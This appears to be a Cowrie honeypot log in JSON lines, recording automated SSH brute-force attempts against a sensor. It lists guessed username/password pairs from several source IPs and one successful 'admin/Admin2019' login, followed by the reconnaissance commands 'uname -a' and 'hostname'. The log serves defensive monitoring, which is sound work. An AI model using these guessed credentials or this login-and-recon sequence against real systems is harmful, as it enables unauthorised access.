{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:27.132443Z","src_ip":"103.114.153.158","session":"54d09f3754cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2026","message":"login attempt [root/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:27.901021Z","src_ip":"103.114.153.158","session":"54d09f3754cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:28.381096Z","src_ip":"103.114.153.158","session":"54d09f3754cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":55366,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ae9f7a0a0d2","protocol":"ssh","message":"New connection: 103.114.153.158:55366 (10.17.0.5:22) [session: 2ae9f7a0a0d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:28.590126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:28.595083Z","src_ip":"103.114.153.158","session":"2ae9f7a0a0d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:28.789007Z","src_ip":"103.114.153.158","session":"2ae9f7a0a0d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"server@2026","message":"login attempt [admin/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:29.598218Z","src_ip":"103.114.153.158","session":"2ae9f7a0a0d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:30.081314Z","src_ip":"103.114.153.158","session":"2ae9f7a0a0d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":34480,"dst_ip":"10.17.0.5","dst_port":22,"session":"3534d174e3d8","protocol":"ssh","message":"New connection: 103.114.153.158:34480 (10.17.0.5:22) [session: 3534d174e3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:30.289100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:30.295475Z","src_ip":"103.114.153.158","session":"3534d174e3d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:30.494313Z","src_ip":"103.114.153.158","session":"3534d174e3d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"server@2026","message":"login attempt [user/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.318449Z","src_ip":"103.114.153.158","session":"3534d174e3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":38242,"dst_ip":"159.203.135.109","dst_port":22,"session":"479d864e901c","protocol":"ssh","message":"New connection: 147.45.197.250:38242 (159.203.135.109:22) [session: 479d864e901c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.433007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.438919Z","src_ip":"147.45.197.250","session":"479d864e901c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.529749Z","src_ip":"147.45.197.250","session":"479d864e901c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia5700","message":"login attempt [root/nokia5700] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.798838Z","src_ip":"147.45.197.250","session":"479d864e901c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.806166Z","src_ip":"103.114.153.158","session":"3534d174e3d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":34482,"dst_ip":"10.17.0.5","dst_port":22,"session":"4542506dc67f","protocol":"ssh","message":"New connection: 103.114.153.158:34482 (10.17.0.5:22) [session: 4542506dc67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:31.992192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:32.000477Z","src_ip":"103.114.153.158","session":"4542506dc67f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:32.195219Z","src_ip":"103.114.153.158","session":"4542506dc67f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:32.892481Z","src_ip":"147.45.197.250","session":"479d864e901c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"server@2026","message":"login attempt [user2/server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:33.002489Z","src_ip":"103.114.153.158","session":"4542506dc67f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:33.482743Z","src_ip":"103.114.153.158","session":"4542506dc67f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"a780a50feb03","protocol":"ssh","message":"New connection: 103.114.153.158:34492 (10.17.0.5:22) [session: a780a50feb03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:33.701466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:33.706607Z","src_ip":"103.114.153.158","session":"a780a50feb03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:33.913717Z","src_ip":"103.114.153.158","session":"a780a50feb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.14617943763733,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:33.980480Z","src_ip":"69.4.83.194","session":"58c376038a6c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2019","message":"login attempt [root/Admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:34.770889Z","src_ip":"103.114.153.158","session":"a780a50feb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:35.251315Z","src_ip":"103.114.153.158","session":"a780a50feb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":34502,"dst_ip":"10.17.0.5","dst_port":22,"session":"af693e4e4e88","protocol":"ssh","message":"New connection: 103.114.153.158:34502 (10.17.0.5:22) [session: af693e4e4e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:35.454394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:35.460149Z","src_ip":"103.114.153.158","session":"af693e4e4e88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:35.678239Z","src_ip":"103.114.153.158","session":"af693e4e4e88","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:36.498100Z","src_ip":"103.114.153.158","session":"af693e4e4e88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:36.698697Z","src_ip":"103.114.153.158","session":"af693e4e4e88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":39544,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9c9fdb3882","protocol":"ssh","message":"New connection: 103.114.153.158:39544 (10.17.0.5:22) [session: af9c9fdb3882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:49.351799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:49.358286Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:49.561881Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin2019","message":"login attempt [admin/Admin2019] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:50.406306Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:50.870839Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:50.876813Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.25.47.94","src_port":45642,"dst_ip":"159.203.135.109","dst_port":22,"session":"178181eadd35","protocol":"ssh","message":"New connection: 103.25.47.94:45642 (159.203.135.109:22) [session: 178181eadd35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.030153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.035027Z","src_ip":"103.25.47.94","session":"178181eadd35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.281760Z","src_ip":"103.25.47.94","session":"178181eadd35","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.292104Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.561134Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"hostname","message":"CMD: hostname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:58:51.565034Z","src_ip":"103.114.153.158","session":"af9c9fdb3882","protocol":"ssh"}
